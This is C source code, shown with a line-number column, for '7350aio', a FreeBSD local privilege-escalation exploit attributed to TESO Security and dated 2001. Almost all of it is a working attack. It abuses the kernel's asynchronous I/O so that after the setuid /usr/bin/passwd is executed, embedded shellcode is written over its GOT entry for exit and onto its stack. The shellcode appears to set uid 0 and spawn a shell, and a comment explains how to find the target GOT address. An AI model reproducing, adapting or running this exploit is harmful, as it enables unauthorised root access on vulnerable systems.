1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
|
/* 7350aio - FreeBSD Local AIO Exploit
*
* TESO CONFIDENTIAL - SOURCE MATERIALS
*
* This is unpublished proprietary source code of TESO Security.
*
* The contents of these coded instructions, statements and computer
* programs may not be disclosed to third parties, copied or duplicated in
* any form, in whole or in part, without the prior written permission of
* TESO Security. This includes especially the Bugtraq mailing list, the
* www.hack.co.za website and any public exploit archive.
*
* (C) COPYRIGHT TESO Security, 2001
* All Rights Reserved
*
***************************************************************************
* bug found by z 13/07/01
*
* "options VFS_AIO" must be in your kernel config, which is not enabled
* by default. Hopefully some day it will be :)
*
* get the GOT address of exit by doing:
* $ objdump --dynamic-reloc bin | grep exit
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
#include <aio.h>
char code[]=
"\x31\xc0\x50\x50\xb0\x17\xcd\x80"
"\x6a\x3b\x58\x99\x52\x89\xe3\x68\x6e\x2f\x73\x68"
"\x68\x2f\x2f\x62\x69\x60\x5e\x5e\xcd\x80"
"\x5c\x37\x87\xc9\xdf\x10\xbb\x23\xdb\x1a\xdd\x2f\x94\xef\x4d\xbb";
unsigned long GOT = 0x0804fe20;
char *execbin = "/usr/bin/passwd";
int
main (argc, argv)
int argc;
char **argv;
{
int fds[2], sdf[2];
struct aiocb cb, cb2;
char buf[128], d;
if ((d = getopt (argc, argv, "g:e:")) != -1) {
switch (d) {
case 'g':
GOT = strtoul (optarg, NULL, 16);
break;
case 'e':
execbin = optarg;
break;
}
}
printf ("got address: %08lx\n", GOT);
printf ("executable: %s\n", execbin);
/*
* pipes are treated differently to sockets, with sockets the
* aiod gets notifyed, whereas with pipes the aiod starts
* immediately blocking in fo_read. This is a problem because
* after the execve the aiod is still using the old vmspace struct
* if you use pipes, which means the data doesnt actually get copied
*/
if (socketpair (AF_UNIX, SOCK_STREAM, 0, fds) < 0) {
perror ("socketpair");
return (EXIT_FAILURE);
}
if (socketpair (AF_UNIX, SOCK_STREAM, 0, sdf) < 0) {
perror ("socketpair");
return (EXIT_FAILURE);
}
if (fork() != 0) {
close (fds[0]);
close (sdf[0]);
memset (&cb, 0, sizeof(cb));
memset (&cb2, 0, sizeof(cb2));
cb.aio_fildes = fds[1];
cb.aio_offset = 0;
cb.aio_buf = (void *)GOT;
cb.aio_nbytes = 4;
cb.aio_sigevent.sigev_notify = SIGEV_NONE;
cb2.aio_fildes = sdf[1];
cb2.aio_offset = 0;
cb2.aio_buf = (void *)0xbfbfff80;
cb2.aio_nbytes = sizeof(code);
cb2.aio_sigevent.sigev_notify = SIGEV_NONE;
if (aio_read (&cb2) < 0) {
perror ("aio_read");
return (EXIT_FAILURE);
}
if (aio_read (&cb) < 0) {
perror ("aio_read");
return (EXIT_FAILURE);
}
execl (execbin, "test", NULL);
} else {
close(fds[1]);
close(sdf[1]);
sleep(2);
printf ("writing\n");
write (sdf[0], code, sizeof(code));
*(unsigned int *)buf = 0xbfbfff80;
write (fds[0], buf, 4);
}
return (EXIT_SUCCESS);
}
|
